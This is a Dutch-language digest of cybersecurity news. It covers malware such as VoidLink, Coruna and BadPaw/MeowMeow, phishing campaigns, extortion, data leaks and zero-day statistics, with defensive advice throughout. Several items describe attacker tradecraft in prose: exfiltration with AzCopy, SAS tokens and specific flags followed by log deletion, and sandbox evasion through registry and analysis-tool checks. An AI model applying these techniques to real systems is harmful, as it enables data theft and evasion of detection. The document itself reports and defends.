Bron: kucoin.com | Bron 2: revoke.cash | Bron 3: coinmarketcap.com

Reclaim Security, een platform voor proactieve risicooplossing, heeft $26 miljoen aan financiering binnengehaald, waaronder een recente Serie serie A ronde van $20 miljoen onder leiding van Acrew Capital, met deelname van QP Ventures en Ibex Investors. De financiering is bedoeld om de missie van het bedrijf te versnellen, het dichten van het gat tussen het identificeren van kwetsbaarheden en het daadwerkelijk oplossen ervan.

Volgens Reclaim Security duurt het gemiddeld 27 dagen om kritieke risico's te verhelpen, terwijl de tijd die aanvallers nodig hebben om binnen te dringen is gedaald tot slechts 27 seconden. Het platform van Reclaim Security introduceert een AI Security Engineer, een autonoom systeem dat niet alleen risico's identificeert, maar ze ook veilig en op schaal oplost. De kern van het platform is PIPE (Productivity Impact Prediction Engine), een simulatie engine die de operationele en zakelijke impact van een voorgestelde beveiligingswijziging voorspelt voordat deze wordt geïmplementeerd.

Reclaim analyseert hoe echte aanvalstechnieken een specifieke omgeving zouden doorkruisen, evalueert hoe bestaande verdedigingen zouden reageren en voorspelt de operationele impact van herstel voordat wijzigingen worden doorgevoerd. Door geavanceerde aanvalspadmodellering te combineren met bedrijfsbewuste herstel, elimineert het bedrijf exploiteerbare paden veilig en op schaal.

Vroege enterprise klanten in de financiële dienstverlening, de gezondheidszorg, de overheid en kritieke infrastructuren melden meetbare resultaten, waaronder een toename van 80% in de algemene dreigingsbestendigheid, een toename van 75% in ROI van de bestaande security stack en een vermindering van 90% in handmatige inspanning bij het oplossen van kritieke risico's.

Met de nieuwe financiering is Reclaim van plan zijn engineeringorganisatie uit te breiden, enterprise integraties te verdiepen en go-to-market initiatieven in Noord-Amerika en Europa te versnellen. Reclaim Security zal zijn platform presenteren op de RSA Conference 2026 Early Stage Expo, Booth ESE #63.

Bron: Reclaim Security

In december 2025 onthulde Check Point Research VoidLink, een cloud-native malware framework. In tegenstelling tot veel bedreigingen die zijn overgezet van oudere Windows tools, is VoidLink vanaf de grond opgebouwd om zich te richten op op Linux gebaseerde cloud- en containeromgevingen. Het ontwerp weerspiegelt een duidelijke verschuiving in de manier waarop aanvallers de bedrijfsinfrastructuur benaderen.

VoidLink is ontworpen met een focus op stealth, lange levensduur en dataverzameling. Eenmaal binnen een doelsysteem kan het bepalen of het draait op een groot cloudplatform - waaronder AWS, GCP, Azure, Alibaba of Tencent - en of het zich binnen een Docker container of een Kubernetes pod bevindt. Vervolgens past het zijn gedrag hierop aan. In omgevingen waar de beveiliging sterk is, vertraagt het om verborgen te blijven. In slecht verdedigde omgevingen draait het vrijelijk en verzamelt het cloudmetadata, API credentials, Git tokens en andere gevoelige geheimen zonder waarschuwingen te veroorzaken.

Analisten van Cisco Talos hebben vastgesteld dat een geavanceerde dreigingsactor VoidLink actief gebruikte in campagnes die zich richten op technologie- en financiële organisaties. De actor krijgt doorgaans toegang via vooraf verkregen credentials of door misbruik te maken van veelgebruikte enterprise services. Eenmaal binnen wordt VoidLink ingezet om command-and-control infrastructuur op te bouwen, de aanwezigheid van de aanvaller te verbergen en gedetailleerde interne reconnaissance over het netwerk uit te voeren.

Wat VoidLink alarmerend maakt, is de compile-on-demand mogelijkheid. Onderzoekers van Cisco Talos beschouwen dit als een stapsteen naar door AI gestuurde aanval frameworks die dynamisch tools kunnen genereren voor elke doelomgeving. Dit plaatst VoidLink in een andere klasse dan de meeste bekende malware. Volgens RedHat heeft bijna 90% van de organisaties het afgelopen jaar ten minste één Kubernetes security incident meegemaakt, en op containers gebaseerde laterale beweging is in 2025 met 34% gestegen.

VoidLink opereert niet geïsoleerd. Het vertegenwoordigt het scherpe einde van een bredere golf van aanvallen gericht op cloud workloads, naast bedreigingen zoals ShadowRay 2.0, de TeamPCP Worm en kwetsbaarheden zoals NVIDIAScape en LangFlow RCE. Nieuwe Kubernetes clusters worden nu binnen 18 minuten na implementatie geconfronteerd met hun eerste aanvalsprobe.

VoidLink richt zich op dezelfde laag als traditionele security tools, niet om deze tools direct te confronteren, maar om er doorheen te bewegen zonder alarmen te activeren. Tegen de tijd dat een EDR agent begint te zoeken naar een bekende signature, heeft VoidLink zichzelf al versleuteld en is het stil geworden, waardoor er geen spoor achterblijft voor conventionele beveiligingsmethoden om te vangen. De malware bewaakt ook security tools voordat het op volle capaciteit werkt.

Organisaties die zich verdedigen tegen VoidLink wordt aangeraden om kernel level runtime monitoring te implementeren met behulp van eBPF (Extended Berkeley Packet Filter) technologie, die procesuitvoering, systeemoproepen en netwerkactiviteit in real time kan observeren, ongeacht hoe de malware probeert zich te verbergen. Security teams moeten Kubernetes clusters en AI workloads behandelen als prioriteit, workloadtelemetrie integreren in SOC monitoring workflows, API credentials en toegangstokens regelmatig roteren en frequent audits uitvoeren van Kubernetes pod permissies en namespace configuraties om blootstelling te minimaliseren.

Bron: Cisco Talos | Bron 2: blogs.cisco.com

Een ontwikkelteam van drie personen in Mexico staat op de rand van een faillissement nadat een gestolen Google Cloud API sleutel binnen 48 uur voor 82.314,44 dollar aan ongeautoriseerde kosten genereerde. Tussen 11 en 12 februari misbruikten aanvallers de inloggegevens van het team om toegang te krijgen tot de "Gemini 3 Pro Image" en "Gemini 3 Pro Text" endpoints, wat resulteerde in een enorme piek van 455x ten opzichte van hun normale maandelijkse factuur van 180 dollar.

De ontwikkelaars vermoeden dat de inbreuk samenviel met een bredere trend waarbij buitenlandse dreigingsactoren agressief Amerikaanse AI modellen scrapen voor dataverzameling. Ondanks het onmiddellijk verwijderen van de gecompromitteerde sleutel, het roteren van inloggegevens en het vergrendelen van hun Identity and Access Management (IAM) instellingen, botsten de teamleden met de klantenservice.

Google Cloud vertegenwoordigers beriepen zich op het "Shared Responsibility Model" en stelden dat de ontwikkelaars uiteindelijk aansprakelijk zijn voor de beveiliging van hun eigen inloggegevens. De oorzaak van dit probleem ligt vaak in onveilige standaardinstellingen.

Het beveiligingsbedrijf Truffle Security onthulde onlangs dat bijna 3.000 oude Google API sleutels die werden gebruikt voor basisdiensten zoals Google Maps, openbaar op websites stonden. Omdat Google cloudsleutels standaard "Unrestricted" zijn, verandert het simpelweg inschakelen van de Gemini API in een project die oude, openbare sleutels direct in krachtige AI inloggegevens zonder dat de eigenaar daarvan op de hoogte is.

Met een geldige sleutel kunnen aanvallers niet alleen enorme LLM gebruikskosten veroorzaken, maar ook toegang krijgen tot geüploade bestanden en gecachte data binnen het account van het slachtoffer. In tegenstelling tot sommige platforms hanteert Google Cloud geen automatische harde factuurafsluitingen wanneer het gebruik piekt. Ontwikkelaars moeten handmatig strikte beveiligingen configureren om te voorkomen dat geautomatiseerde bots accounts in minuten leegtrekken.

Hoewel de eerste reactie van Google op factuurgeschillen vaak streng is, moeten slachtoffers niet meteen opgeven. Eerdere gevallen laten zien dat Google enorme API facturen heeft kwijtgescholden, waaronder de kosten van een student van 55.444 dollar, wanneer gebruikers overweldigend bewijs leverden. Dit omvatte gedetailleerde gebruikslogboeken, politierapporten en bewijs dat de exacte bron van de gelekte sleutel identificeerde, zoals beschreven in een Reddit post over het incident. Google is ook begonnen met het automatisch uitschakelen van blootgestelde sleutels van serviceaccounts die worden gedetecteerd in openbare GitHub repositories, maar dit beschermt niet tegen sleutels die rechtstreeks van endpoints voor ontwikkelaars zijn gestolen. Voorlopig blijven proactieve misconfiguratiecontroles de enige gegarandeerde verdediging tegen catastrofale cloudfacturen.

Bron: Truffle Security

ransomware operators gebruiken Microsofts AzCopy, een command-line utility voor het verplaatsen van data naar en van Azure Storage, om stilletjes gevoelige bestanden van organisaties te stelen voordat ze encryptie activeren. AzCopy is ontworpen om grootschalige cloud data operaties te vereenvoudigen. Het programma vereist geen installatie en zet data over via standaard HTTPS verbindingen direct naar de Azure infrastructuur van Microsoft. Omdat het een erkende tool is, wordt de activiteit ervan door de meeste Endpoint Detection and Response (EDR) platforms niet als verdacht gemarkeerd.

Varonis Threat Labs onderzoekers hebben meerdere incidenten geïdentificeerd waarbij AzCopy werd gebruikt als data exfiltratie tool. In ten minste één geval werd de operatie niet gedetecteerd door het EDR platform van de organisatie. In plaats van gestolen data naar bulletproof hosting providers te sturen, pushen aanvallers de data nu naar Azure Blob Storage accounts.

Voor de bestandsoverdracht genereren aanvallers een Shared Access Signature (SAS) token, een authenticatie URL die toegang geeft tot een door de aanvaller gecontroleerd Azure Storage account zonder gebruikersnaam of wachtwoord. Dit token is ingebed in het AzCopy commando en bevat ingebouwde permissies met start- en vervaltijdstempels. In onderzochte gevallen was het token slechts drie dagen en acht uur actief. Het AzCopy commando is aangepast met de parameter --include-after om transfers te beperken tot bestanden die na een specifieke datum zijn gewijzigd. De parameter --cap-mbps beperkt de uploadsnelheid.

AzCopy schrijft standaard een logbestand naar een verborgen directory genaamd .azcopy in het profiel van de uitvoerende gebruiker, waarin elk succesvol overgebracht bestand wordt vastgelegd. Aanvallers verwijderen deze directory direct na voltooiing van de exfiltratie om het bewijs te wissen.

Organisaties zouden uitgaande verbindingen naar *.blob.core.windows.net moeten monitoren vanaf systemen die normaal gesproken niet met Azure storage communiceren. User and Entity Behavior Analytics (UEBA) kan ongebruikelijke patronen van bestands toegang op service accounts detecteren. Application whitelisting kan de uitvoering van AzCopy beperken tot goedgekeurde systemen en accounts. Incident response plannen moeten gedocumenteerd en getest worden, vooral voor belangrijke beslissingen zoals het verbreken van de internetverbinding tijdens een ransomware incident.

Bron: Varonis

Een nepwebsite die zich voordoet als het kabinet van de Japanse premier promoot een frauduleus "door de overheid gesteund inkomstenproject". Het doel is om gebruikers te misleiden om te investeren en persoonlijke gegevens te verstrekken. Cybercrimeinfo ontdekte dit via een threat intelligence alert.

Bron: Darkweb

Cybercrimeinfo heeft op het dark web informatie ontdekt over diverse datalekken en een nieuwe macOS stealer. Zo zijn er meldingen van gelekte patiëntgegevens van het Shiraume Hospital (met volledige medische dossiers en PII) en het Hospital General de Medellín Luz Castro de Gutiérrez E.S.E. Daarnaast claimt een dreigingsactor een database te hebben gelekt van MTN Irancell, een van de grootste mobiele telecomproviders in Iran, en data van Universidad Surcolombiana, een publieke universiteit in Colombia.

Verder wordt er op een hacking forum een nieuwe macOS RAT/Stealer genaamd "notnullOSx" aangeboden, die gepositioneerd wordt als een robuuster alternatief voor bestaande op AppleScript gebaseerde macOS malware. Een dreigingsactor claimt ook Eholo Health, een Spaans softwareplatform voor psychologen, te hebben gehackt. Dit platform wordt door meer dan 10.000 professionals gebruikt voor patiëntmanagement, facturering en klinische geschiedenis. Ten slotte heeft ShinyHunters een laatste waarschuwing gegeven aan WoFlow, Inc.

Bron: Darkweb

Een voorheen ongedocumenteerde set van 23 iOS exploits, genaamd "Coruna", is door verschillende dreigingsactoren ingezet in gerichte spionagecampagnes en financieel gemotiveerde aanvallen. Het Coruna-pakket bevat vijf volledige iOS exploit chains, waarvan de meest geavanceerde gebruikmaken van niet-openbare technieken en mitigatie-omzeilingen, voor iOS versies 13.0 tot en met 17.2.1 (uitgebracht in december 2023).

Onderzoekers van Google Threat Intelligence Group (GTIG) observeerden voor het eerst activiteit gerelateerd aan de Coruna exploit kit in februari 2025, in activiteit toegeschreven aan een klant van een surveillance vendor. De onderzoekers verkregen toen het JavaScript delivery framework samen met de exploit voor CVE-2024-23222, een WebKit kwetsbaarheid die remote code execution mogelijk maakt op iOS 17.2.1. Apple had de kwetsbaarheid al op 22 januari 2024 verholpen in iOS 17.3, nadat deze in zero-day aanvallen was misbruikt.

Hetzelfde geobfusceerde framework werd in de zomer opnieuw waargenomen, toen vermoedelijke Russische cyberspionnen, bekend als UNC6353, het inzetten in watering hole aanvallen gericht op iPhone-gebruikers die gecompromitteerde Oekraïense websites bezochten voor e-commerce, industriële apparatuur en retail tools, en lokale diensten. Eind 2025 verscheen de exploit kit op verschillende valse Chinese gok- en crypto websites. Google schrijft de activiteit toe aan de financieel gemotiveerde Chinese dreigingsactor UNC6691.

Na het verkrijgen van de complete exploit kit eind 2025, ontdekten GTIG-analisten dat deze vijf volledige exploit chains bevatte met behulp van een set van 23 exploits, waaronder: WebKit remote code execution, Pointer Authentication Code (PAC) bypasses, Sandbox escapes, Kernel privilege escalation en PPL (Page Protection Layer) bypasses. De exploits bevatten uitgebreide documentatie, inclusief docstrings en commentaar in het Engels. De meest geavanceerde exploits gebruiken niet-openbare exploitatie technieken en mitigatie-omzeilingen. Sommige van de exploits hergebruiken kwetsbaarheden die voor het eerst werden geïdentificeerd tijdens Operation Triangulation, die in juni 2023 werd onthuld door Kaspersky nadat het bedrijf ontdekte dat verschillende iPhones op zijn netwerk waren gecompromitteerd.

Volgens GTIG-onderzoekers screent Coruna het apparaat en de OS-versie, en selecteert vervolgens de juiste exploit chain om uit te voeren. Als de Lockdown Mode anti-spyware beschermingsfunctie of private browsing actief is op het apparaat, stopt het framework.

GTIG's analyse toonde aan dat een van de laatste payloads die na een Coruna exploit chain werd afgeleverd, een stager loader was genaamd PlasmaLoader, die de onderzoekers volgen als PlasmaGrid. Deze wordt geïnjecteerd in de ‘powerd’ iOS root daemon. De malware heeft echter geen mogelijkheden die consistent zijn met een spyware operatie. Het downloadt van een command-and-control (C2) server extra modules die cryptocurrency wallet apps targeten, zoals MetaMask, Phantom, Exodus, BitKeep en Uniswap. De gestolen data wordt versleuteld met AES voorafgaand aan exfiltratie en verzonden naar hardcoded C2 adressen. Voor takedown resilience bevat de implant ook een domain generation algorithm (DGA) dat is gezaaid met de string "lazarus" die .xyz domeinen produceert.

Google heeft aan Safe Browsing alle websites en domeinen toegevoegd die zijn geïdentificeerd tijdens de analyse van de Coruna exploit kit, en adviseert iOS gebruikers om te upgraden naar de nieuwste versie. Als updaten niet mogelijk is, is het advies om Lockdown Mode in te schakelen.

Bron: iverify.io

LastPass waarschuwt gebruikers voor een actieve phishingcampagne waarbij cybercriminelen zich voordoen als vertegenwoordigers van het bedrijf. De aanvallers sturen e-mails met als onderwerp nagemaakte, doorgestuurde interne gesprekken tussen henzelf en de klantenservice van LastPass. In deze e-mails wordt melding gemaakt van een verzoek tot wijziging van het primaire e-mailadres van de account.

De e-mailketens zijn ontworpen om de ontvanger aan te sporen snel te reageren op de vermeende verdachte activiteit. Ze bevatten links met teksten als "report suspicious activity", "disconnect and lock vault" en "revoke device". Deze links leiden naar een valse LastPass-loginpagina, gehost op het domein "verify-lastpass[.]com", die is ontworpen om de inloggegevens van gebruikers te stelen.

Het Threat Intelligence, Mitigation, and Escalation (TIME) team van LastPass meldt dat de aanvallers naast dit primaire domein ook licht gewijzigde URL's gebruiken die naar dezelfde phishingpagina leiden. Om de geloofwaardigheid te verhogen en het traceren te bemoeilijken, maken de aanvallers gebruik van verschillende afzenderadressen en onderwerpregels. Hoewel de meeste afzenderadressen geen relatie hebben met LastPass en afkomstig zijn van gecompromitteerde websites of verlaten domeinen, proberen de aanvallers dit te verbergen door de weergavenaam 'LastPass Support' te gebruiken.

LastPass benadrukt dat hun infrastructuur niet is gecompromitteerd en dat er geen impact is op hun systemen. Het bedrijf herinnert klanten eraan dat hun supportmedewerkers nooit zullen vragen naar het hoofdwachtwoord en dat gebruikers dit nooit aan iemand mogen geven. LastPass werkt samen met externe partners om de valse websites zo snel mogelijk offline te halen en spoort gebruikers aan om verdachte communicatie te melden via 'abuse@lastpass.com'.

LastPass is vanwege zijn populariteit een frequent doelwit van phishingcampagnes. Eerder dit jaar, in januari, waarschuwde LastPass al voor een andere phishingcampagne waarbij valse onderhoudsmeldingen werden verspreid. In deze e-mails werd gebruikers gevraagd om binnen 24 uur een back-up van hun kluis te maken, waarna ze werden omgeleid naar phishingpagina's. Eind 2025 vonden er nog twee campagnes plaats: een waarbij gebruik werd gemaakt van valse overlijdensclaims en een andere waarbij werd beweerd dat het bedrijf was gehackt, waarbij gebruikers werden aangespoord een nieuwe versie van de client-app te downloaden.

Bron: LastPass

Een nieuwe phishingcampagne misbruikt valse updates voor applicaties zoals Zoom, Microsoft Teams en Adobe Reader om malware te verspreiden. Onderzoekers van het Microsoft Defender Security Research Team ontdekten dat de aanvallers gestolen digitale certificaten gebruiken om computers te misleiden en kwaadaardige bestanden te vertrouwen.

De campagne, die rond februari 2026 begon, maakt gebruik van een psychologische truc. Wanneer een gebruiker op een link in een valse vergaderuitnodiging of een wazig PDF-bestand klikt, wordt hij doorgestuurd naar een nepwebsite die eruitziet als een officieel downloadcentrum. Deze sites beweren dat de software van de gebruiker verouderd is en vragen om een "verplichte" update.

Wat deze truc extra gevaarlijk maakt, is het gebruik van Extended Validation (EV)-certificaten. Dit zijn digitale handtekeningen die een besturingssysteem vertellen dat een bestand veilig is. De hackers gebruikten een gecompromitteerd certificaat dat was uitgegeven aan een bedrijf genaamd TrustConnect Software PTY LTD. Omdat het bestand deze "vertrouwde" handtekening heeft, kan het veel standaard beveiligingsblokkades omzeilen die normaal gesproken een niet-herkend programma zouden stoppen.

De gedownloade bestanden (met namen als msteams.exe of adobereader.exe) zijn in werkelijkheid shells. Eenmaal geopend, installeren ze Remote Monitoring and Management (RMM)-tools. IT-afdelingen gebruiken RMM voor hulp op afstand, maar hackers gebruiken het als een achterdeur om in een netwerk te blijven, lang nadat de eerste klik is gemaakt.

Zodra het eerste bestand is uitgevoerd, gebruikt het "gecodeerde PowerShell-commando's" om stilletjes nog meer tools te downloaden, waaronder software zoals ScreenConnect en MeshAgent. Door meerdere tools tegelijk te installeren, zorgen de hackers ervoor dat ze "permanente, bevoorrechte toegang" hebben. Als een IT-team er een vindt en verwijdert, zorgen de andere ervoor dat de aanvaller verborgen blijft. Zodra ze deze positie hebben, kunnen de aanvallers zich door het bedrijfsnetwerk bewegen om wachtwoorden te stelen of ransomware te verspreiden. Sommige van de bestanden die in deze aanvallen werden gebruikt, hadden handtekeningen die al waren ingetrokken, maar ze functioneerden nog steeds.

Experts adviseren om pop-ups met de melding "update vereist" in e-mails te negeren en alleen officiële app stores te gebruiken voor softwareonderhoud.

Jason Soroko, Senior Fellow bij Sectigo, deelde de volgende inzichten: "Als de code signing signature is geverifieerd en de certificaatketen is gecontroleerd, wordt aangenomen dat de software of het document betrouwbaar is. Die aanname geldt niet meer in een wereld waar aanvallers routinematig signing keys stelen en build pipelines compromitteren. Een geldige signature vertelt ons nog steeds iets belangrijks over de herkomst, maar het vertelt ons niet het hele verhaal. Security teams moeten het behandelen als een enkel datapunt binnen een breder gedragsprofiel."

Bron: Microsoft

Het Tactical Response Team van Huntress Labs ontdekte via een brute-force aanval op een Remote Desktop Protocol (RDP)-server een ransomware-as-a-service ecosysteem. Een "routine" alert leidde tot de ontdekking van ongebruikelijk gedrag, een web van geografisch verspreide infrastructuur en een schimmige VPN-service.

Een netwerk stelde een RDP-server bloot aan het internet, wat resulteerde in een alert voor domein-enumeratie. Hoewel inbraken vaak lineair worden beschreven, ontvangen analisten signalen die zich midden in de kill chain van een dreigingsactor bevinden. Het onderzoek van de Windows-event logs toonde aan dat de RDP-service werd blootgesteld aan brute forcing. Ondanks dat brute forcing als een standaard aanvalstechniek wordt beschouwd, kan het onderzoek ervan lastig zijn, vooral in netwerken met standaard logging-configuraties.

Een succesvolle brute-force aanval werd ontdekt, waarbij een account vanaf meerdere IP-adressen was gecompromitteerd. Dit suggereerde dat de compromittering afkomstig was van één dreigingsactor die gebruik maakte van infrastructuur die compromittering vanaf verschillende servers mogelijk maakte. Na de brute force kreeg de dreigingsactor toegang tot het netwerk van het slachtoffer en ging over tot het enumereren van het domein.

Toen deze enumeratie-signalen als kwaadaardig werden bestempeld, werd netwerk-brede isolatie uitgevaardigd om verdere laterale beweging binnen het netwerk te voorkomen. Na isolatie van het netwerk ontdekte Huntress Labs iets ongebruikelijks in de activiteitspatronen van de dreigingsactor.

Bron: Huntress | Bron 2: github.com

Het PowerShell-script Win11Debloat, met 40.500 sterren op GitHub, is een populaire open-source oplossing om bloatware te verwijderen, telemetry uit te schakelen, AI-functies te verwijderen en de Windows-interface op te schonen. Het script vereist geen installatie en kan via een interactief menu of command-line parameters worden uitgevoerd.

Een verse Windows-installatie in 2026 bevat functies zoals Copilot, Recall, Click to Do, Bing web search in het Startmenu, telemetry, widgets op de taakbalk en advertenties in de Settings-app. Win11Debloat verwijdert meer dan 60 vooraf geïnstalleerde Microsoft- en third-party apps, waaronder Clipchamp, Solitaire, Teams, Cortana, Spotify, Netflix, Candy Crush, TikTok en Instagram. Het script schakelt telemetry, diagnostische data, activity history, app-launch tracking en targeted ads uit in Windows en Edge. Daarnaast verwijdert het Copilot, Windows Recall, Click to Do, Bing AI in search en AI-functies in Edge, Paint en Notepad. Het script biedt ook interface cleanup-opties, zoals taskbar alignment, het herstellen van het oude contextmenu en File Explorer tweaks.

Het script is zorgvuldig ontworpen om geen essentiële OS-functionaliteit te beschadigen. Apps zoals Calculator, Camera, Photos, Notepad, Terminal, Paint, Microsoft Store, Phone Link en Xbox-componenten blijven behouden, tenzij de gebruiker ze expliciet selecteert voor verwijdering. De Microsoft Store kan niet opnieuw worden geïnstalleerd na verwijdering.

Win11Debloat bevat functies voor systeembeheerders en enterprise-omgevingen. Sysprep mode past wijzigingen toe op het Windows Default user profile, zodat alle nieuwe gebruikers de debloated instellingen erven. Het script ondersteunt command-line parameters voor unattended operation, waardoor het geschikt is voor imaging workflows en fleet deployments. Alle wijzigingen zijn omkeerbaar; registry tweaks kunnen worden teruggedraaid en de meeste verwijderde apps kunnen opnieuw worden geïnstalleerd vanuit de Microsoft Store.

Het gebruik van Win11Debloat is op eigen risico. Windows-updates kunnen instellingen opnieuw inschakelen of apps opnieuw installeren. Het kan nodig zijn om het script opnieuw uit te voeren na grote updates.

Bron: Darkweb

Klanten van restaurants die gebruikmaken van het HungerRush point-of-sale (POS)-platform hebben e-mails ontvangen van een dreigingsactor die het bedrijf probeert af te persen. De afperser waarschuwt dat restaurant- en klantgegevens openbaar kunnen worden gemaakt als HungerRush niet reageert.

HungerRush is een technologieleverancier voor restaurants en levert POS-systemen, online bestelsystemen, delivery management en software voor betalingsverwerking aan meer dan 16.000 restaurants, waaronder Sbarro, Jet's Pizza en Fajita Pete's.

De eerste e-mail werd verzonden vanaf support@hungerrush.com, waarin HungerRush werd aangespoord om te stoppen met het negeren van de afpersingsmails. Een tweede e-mail, drie uur later verzonden vanaf "2019@hungerrush.com", claimt dat de aanvaller toegang heeft tot data records van miljoenen klanten met namen, e-mailadressen, wachtwoorden, adressen, telefoonnummers, geboortedata en creditcardgegevens.

Analyse van de e-mailheaders door BleepingComputer toont aan dat ze zijn afgeleverd met behulp van Twilio SendGrid, een platform dat vaker wordt gebruikt door HungerRush voor het verzenden van restaurantbonnetjes. De e-mails werden verzonden vanaf o10.e.hungerrush.com (159.183.129.119), wat verwijst naar infrastructuur die wordt beheerd door Twilio SendGrid. De e-mailheaders bevestigen ook dat de berichten de SPF-, DKIM- en DMARC-authenticatiecontroles voor het hungerrush.com-domein hebben doorstaan.

Alon Gal, medeoprichter en CTO van Hudson Rock, meldde op LinkedIn dat infostealer-logs erop wijzen dat het apparaat van een HungerRush-medewerker in oktober 2025 mogelijk is geïnfecteerd met een infostealer, wat leidde tot de compromittering van inloggegevens. Volgens Gal heeft de malware corporate credentials gestolen, waaronder die voor NetSuite, QuickBooks-gerelateerde services, Stripe-dashboards, Bill.com vendor payment systems, Visa Online commercial services en Salesforce-omgevingen. HungerRush stelt dat deze eerdere infostealer-infectie niet is gekoppeld aan het datalek.

HungerRush heeft aan BleepingComputer bevestigd op de hoogte te zijn van het incident en de autoriteiten te hebben ingelicht. Uit een later statement blijkt dat de dreigingsactor de gecompromitteerde inloggegevens van een externe leverancier heeft gebruikt om in te breken in het e-mailmarketing service account. Hierdoor kreeg de dreigingsactor toegang tot contactgegevens van klanten, die werden gebruikt om de ongeautoriseerde e-mails te verzenden. Het bedrijf ontkent echter de claims van de dreigingsactor en stelt dat er geen gevoelige persoonlijke of financiële informatie, zoals wachtwoorden, geboortedata, burgerservicenummers of betaalkaartgegevens, is blootgesteld. Creditcardgegevens worden niet opgeslagen in de systemen van HungerRush. Verder is er geen bewijs dat andere systemen zijn gecompromitteerd.

Klanten van restaurants die gebruikmaken van het HungerRush POS-systeem wordt aangeraden alert te zijn op mogelijke phishing-mails en sms berichten die misbruik maken van de mogelijk gestolen informatie.

Bron: hubs.li | Bron 2: incode.com

Cybersecurity onderzoekers hebben details onthuld van een nieuwe Russische cybercampagne gericht op Oekraïense entiteiten met twee voorheen ongedocumenteerde malware families genaamd BadPaw en MeowMeow. De aanval begint met een phishing e-mail die een link bevat naar een ZIP archief. Eenmaal uitgepakt, toont een eerste HTA bestand een lokaas document in het Oekraïens over grensoverschrijdingen om het slachtoffer te misleiden.

De aanvalsketen leidt tot de implementatie van een .NET-gebaseerde loader genaamd BadPaw, die vervolgens communiceert met een remote server om een geavanceerde backdoor genaamd MeowMeow op te halen en te implementeren. Het startpunt is een phishing e-mail verzonden vanaf ukr[.]net, waarschijnlijk in een poging om geloofwaardigheid te creëren en het vertrouwen van de beoogde slachtoffers te winnen. Het bericht bevat een link naar een vermeend ZIP bestand, waardoor de gebruiker wordt omgeleid naar een URL die een kleine afbeelding laadt, die fungeert als een tracking pixel om de aanvallers te signaleren dat er op de link is geklikt.

Zodra deze stap is voltooid, wordt het slachtoffer omgeleid naar een secundaire URL waar het archief wordt gedownload. Het ZIP bestand bevat een HTML Application (HTA) dat, eenmaal gestart, een afleidingsdocument dropt, terwijl het op de achtergrond verdere stappen uitvoert. Het afleidingsdocument dient als een social engineering tactiek, en presenteert een ontvangstbevestiging voor een overheidsverzoek met betrekking tot een Oekraïense grensoverschrijding.

Het HTA bestand voert ook controles uit om te voorkomen dat het binnen sandbox omgevingen wordt uitgevoerd. Het doet dit door de Windows Registry key "KLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\InstallDate" te bevragen om de "leeftijd" van het besturingssysteem te schatten. De malware is ontworpen om de uitvoering af te breken als het systeem minder dan tien dagen eerder is geïnstalleerd.

Als het systeem aan de criteria voldoet, lokaliseert de malware het gedownloade ZIP archief en extraheert twee bestanden - een Visual Basic Script (VBScript) en een PNG afbeelding - en slaat ze op schijf op onder verschillende namen. Het creëert ook een geplande taak om het VBScript uit te voeren als een manier om persistentie op het geïnfecteerde systeem te garanderen.

De primaire verantwoordelijkheid van het VBScript is het extraheren van kwaadaardige code die is ingebed in de PNG afbeelding, een obfuscated loader genaamd BadPaw die in staat is om contact op te nemen met een command-and-control (C2) server om extra componenten te downloaden, waaronder een executable genaamd MeowMeow. Als dit bestand onafhankelijk van de volledige aanvalsketen wordt uitgevoerd, start het een dummy code sequentie. Deze decoy uitvoering toont een grafische gebruikersinterface (GUI) met een foto van een kat, in lijn met het visuele thema van het eerste afbeeldingsbestand waaruit de primaire malware werd geëxtraheerd. Wanneer op de 'MeowMeow' knop in de decoy GUI wordt geklikt, toont de applicatie simpelweg een 'Meow Meow Meow' bericht, zonder verdere kwaadaardige acties uit te voeren. Dit dient als een secundaire functionele decoy om handmatige analyse te misleiden.

De kwaadaardige code van de backdoor wordt pas geactiveerd wanneer deze wordt uitgevoerd met een bepaalde parameter ("-v") die wordt verstrekt door de initiële infectieketen, en na controle dat deze wordt uitgevoerd op een daadwerkelijk endpoint en niet op een sandbox, en dat er geen forensic en monitoring tools zoals Wireshark, Procmon, Ollydbg en Fiddler op de achtergrond draaien. MeowMeow is uitgerust om op afstand PowerShell commando's uit te voeren op de gecompromitteerde host en ondersteunt bestandsysteemoperaties, zoals de mogelijkheid om gegevens te lezen, schrijven en verwijderen. ClearSky identificeerde Russischtalige strings in de broncode, wat de beoordeling versterkt dat de activiteit het werk is van een Russischtalige dreigingsactor. De aanwezigheid van deze Russischtalige strings suggereert twee mogelijkheden: de dreigingsactor heeft een operationele security (OPSEC) fout begaan door de code niet te lokaliseren voor de Oekraïense doelomgeving, of ze hebben per ongeluk Russische ontwikkelingsartefacten in de code achtergelaten tijdens de malwareproductiefase.

Bron: ClearSky

Volgens Google Threat Intelligence Group (GTIG) zijn er in 2025 90 zero-day kwetsbaarheden actief misbruikt, waarvan bijna de helft in enterprise software en appliances. Dit is een stijging van 15% ten opzichte van de 78 zero days in 2024, maar minder dan de recordhoogte van 100 in 2023. Zero-day kwetsbaarheden zijn beveiligingsproblemen in software die door aanvallers worden misbruikt voordat de leverancier op de hoogte is en een patch ontwikkelt. Ze zijn waardevol voor dreigingsactoren omdat ze vaak initiële toegang, remote code execution of privilege escalation mogelijk maken.

Van de 90 zero days die in 2025 werden misbruikt, waren er 47 gericht op end-user platforms en 43 op enterprise producten. De misbruikte kwetsbaarheden omvatten remote code execution, privilege escalation, injection en deserialization flaws, authorization bypasses en memory corruption (use-after-free) bugs. Memory safety issues waren verantwoordelijk voor 35% van alle misbruikte zero-day kwetsbaarheden. De meest getroffen enterprise systemen waren security appliances, netwerkinfrastructuur, VPN's en virtualisatieplatforms, omdat deze geprivilegieerde netwerktoegang bieden en vaak geen EDR-monitoring hebben. Besturingssystemen waren de meest misbruikte categorie, met 24 zero-day kwetsbaarheden in desktop OSs en 15 in mobiele platforms. Zero-day exploits in webbrowsers daalden tot acht, mogelijk door betere beveiliging in deze softwarecategorie.

